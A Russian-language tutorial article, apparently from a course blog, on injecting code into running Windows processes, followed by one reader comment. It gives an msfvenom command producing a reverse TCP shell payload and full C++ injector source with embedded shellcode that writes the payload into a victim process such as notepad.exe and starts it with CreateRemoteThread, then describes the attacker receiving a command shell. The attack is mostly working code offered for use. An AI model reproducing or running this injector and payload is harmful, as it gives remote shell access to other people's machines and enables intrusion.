Технологии внедрения своего кода в чужие процессы уже много лет используются различными вредоносными приложениями. В Windows это стало довольно распространенным явлением. Вредонос инжектирует фрагменты своего собственного кода в другой запущенный процесс, чтобы затем его выполнить. Инъекция кода бывают нескольких видов, в этой статье мы рассмотрим обычную инъекцию кода, а в следующих статьях подробно поговорим про инъекции DLL и отраженные инъекции DLL.
Итак, инъекции кода получили широкую популярность, причем не только у разработчиков вредоносного кода, но и у создателей различных “таблеток” для пиратского софта. Также можно вспомнить разнообразные “читы” для прохождения игр.
Но мы в рамках данных статей будем инжектировать процесс удаленного доступа к машине жертвы, для того, чтобы продемонстрировать всю опасность данного вида атак.
Байты плохие и очень плохие
Ранее в статьях посвященных уязвимостям переполнения буфера уже рассматривалось понятие “плохих” байтов, но повторение будет не лишним. Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Так, инжектируемый нами в память набор байтов не должен содержать 0х00.
Однако здесь это не единственное ограничение. Также мы не можем использовать байты 0х10 и 0х13. Очевидно, что байты завершения строки также могут означать, что массив данных закончился и все, что следует далее необходимо отбросить.
Наша задача избавиться от этих плохих байтов, заменив проблемные опкоды команд их аналогами, не содержащими данные байты. Если бы мы писали наш шелл, то нам пришлось бы заменять проблемные инструкции ассемблера их аналогами, не содержащими плохие байты. Так например, если плохой байт передается в качестве аргумента какой-либо инструкции, то его можно заменить другим байтом, с которым затем провести математические операции. Если плохой байт содержится в опкоде самой инструкции, то можно попробовать заменить ее инструкциями с другими опкодами.
Однако, мы не будем писать наш шелл с нуля, а прибегнем к помощи Metasploit, а точнее, к помощи одного из его инструментов - msfvenom.
Этот инструмент позволяет получить полезную нагрузку нужного нам формата. В данном случае мы сгенерируем реверсивный шелл. Напомню, что при использовании обратного шелла машина злоумышленника слушает нужный порт, а машина жертвы после активации инжектированного кода, который реализует реверсивный шелл, сама инициирует соединение с машиной злоумышленника. В результате атакующий получает командную строку на машине жертвы.
Далее мы сгенериуем полезную нагрузку, которую затем будем инжектировать в процесс. Итак, в примере ниже LHOST это машина злоумышленника, LPORT – прослушиваемый порт, ключ -f это выходной формат данных (можно указать exe, dll, pdf и другие) но в нашем случае мы просто выводим байты в консоль для последующего помещения в исходный код программы инжектора. И в завершении мы указываем какие байты являются плохими.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP_атакующего LPORT=Порт_атакующего -f c -b \x00\x0a\x0d
Как видно на скриншоте ниже msfvenom поругался на отсутствие платформы и архитектуры в переданных параметрах и выбрал заданные по умолчанию значения.
Пишем инжектор
Для написания самого инжектора воспользуемся языком С++. Выбор этого языка для осуществления инъекции кода конечно же не случаен. Благодаря своим возможностям по работе с памятью без лишних посредников, этот язык высокого уровня идеально подходит для наших задач. Лучше него был бы только ассемблер.
Итак, копируем наш шеллкод, который мы сгенерировали с помощью msfvenom в массив shellcode. Далее нам необходим процесс жертва, в который мы и будем осуществлять инъекцию. ID этого процесса будет передан в качестве параметра нашему инжектору. Мы открываем этот процесс и пишем в его раздел памяти наш шеллкод, после чего запускаем отдельный поток с нашим шеллкодом.
#include "stdafx.h"
#include "Windows.h"
int main(int argc, char *argv[])
{
unsigned char shellcode[] =
"\xbf\xfe\xc7\xbe\xb0\xdb\xc8\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x83\xc5\x04\x31\x7d\x0e\x03\x83\xc9\x5c\x45\x87\x3e\x22"
"\xa6\x77\xbf\x43\x2e\x92\x8e\x43\x54\xd7\xa1\x73\x1e\xb5\x4d"
"\xff\x72\x2d\xc5\x8d\x5a\x42\x6e\x3b\xbd\x6d\x6f\x10\xfd\xec"
"\xf3\x6b\xd2\xce\xca\xa3\x27\x0f\x0a\xd9\xca\x5d\xc3\x95\x79"
"\x71\x60\xe3\x41\xfa\x3a\xe5\xc1\x1f\x8a\x04\xe3\x8e\x80\x5e"
"\x23\x31\x44\xeb\x6a\x29\x89\xd6\x25\xc2\x79\xac\xb7\x02\xb0"
"\x4d\x1b\x6b\x7c\xbc\x65\xac\xbb\x5f\x10\xc4\xbf\xe2\x23\x13"
"\xbd\x38\xa1\x87\x65\xca\x11\x63\x97\x1f\xc7\xe0\x9b\xd4\x83"
"\xae\xbf\xeb\x40\xc5\xc4\x60\x67\x09\x4d\x32\x4c\x8d\x15\xe0"
"\xed\x94\xf3\x47\x11\xc6\x5b\x37\xb7\x8d\x76\x2c\xca\xcc\x1e"
"\x81\xe7\xee\xde\x8d\x70\x9d\xec\x12\x2b\x09\x5d\xda\xf5\xce"
"\xa2\xf1\x42\x40\x5d\xfa\xb2\x49\x9a\xae\xe2\xe1\x0b\xcf\x68"
"\xf1\xb4\x1a\x3e\xa1\x1a\xf5\xff\x11\xdb\xa5\x97\x7b\xd4\x9a"
"\x88\x84\x3e\xb3\x23\x7f\xa9\x7c\x1b\xa1\xaf\x15\x5e\x5d\xaa"
"\xef\xd7\xbb\xa0\xff\xb1\x14\x5d\x99\x9b\xee\xfc\x66\x36\x8b"
"\x3f\xec\xb5\x6c\xf1\x05\xb3\x7e\x66\xe6\x8e\xdc\x21\xf9\x24"
"\x48\xad\x68\xa3\x88\xb8\x90\x7c\xdf\xed\x67\x75\xb5\x03\xd1"
"\x2f\xab\xd9\x87\x08\x6f\x06\x74\x96\x6e\xcb\xc0\xbc\x60\x15"
"\xc8\xf8\xd4\xc9\x9f\x56\x82\xaf\x49\x19\x7c\x66\x25\xf3\xe8"
"\xff\x05\xc4\x6e\x00\x40\xb2\x8e\xb1\x3d\x83\xb1\x7e\xaa\x03"
"\xca\x62\x4a\xeb\x01\x27\x7a\xa6\x0b\x0e\x13\x6f\xde\x12\x7e"
"\x90\x35\x50\x87\x13\xbf\x29\x7c\x0b\xca\x2c\x38\x8b\x27\x5d"
"\x51\x7e\x47\xf2\x52\xab";
HANDLE processHandle;
HANDLE remoteThread;
PVOID remoteBuffer;
printf("Injecting to PID: %i", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);
remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL);
CloseHandle(processHandle);
return 0;
}
После компиляции получаем готовый к использованию выполнимый файл.
Эксплуатируем
Для эксплуатации инъекции в процесс необходимо на машине злоумышленника включить прослушивание соответствующего порта 6666.
Далее выбираем процесс жертву. В моем случае это notepad.exe с идентификатором 2984. Этот ID мы и передадим в качестве параметра нашему инжектору.
В результате получаем дочерний процесс 2676, который на машине жертвы видится как cmd.exe. Не сказать, чтобы очень подозрительно, хотя при желании можно выбрать еще менее подозрительный процесс-жертву.
Теперь посмотрим, что происходит на стороне злоумышленника.
А здесь, как видно все хорошо. Машина жертвы успешно установила соединение с атакующим и теперь у злоумышленника есть права текущего пользователя процесса жертвы.
Заключение
В этой статье мы рассмотрели простейший случай инъекции в процессы. Да, конечно, современные антивирусы вряд ли позволят реализовать подобную активность безнаказанно, однако, если на машине нет средств защиты, то реализовать атаку можно без проблем. В следующих статьях мы поговорим об инъекциях DLL и отражающих инъекциях DLL.
О других инструментах для обеспечения безопасности можно узнать у экспертов в области ИБ, например на онлайн-курсах. Перед стартом обучения проходят открытые уроки от преподавателей курсов, на которых можно узнать об актуальных технологиях и задать интересующие вопросы экспертам.
Terranz
Это копипаста статьи из журнала хакер двадцатилетней давности?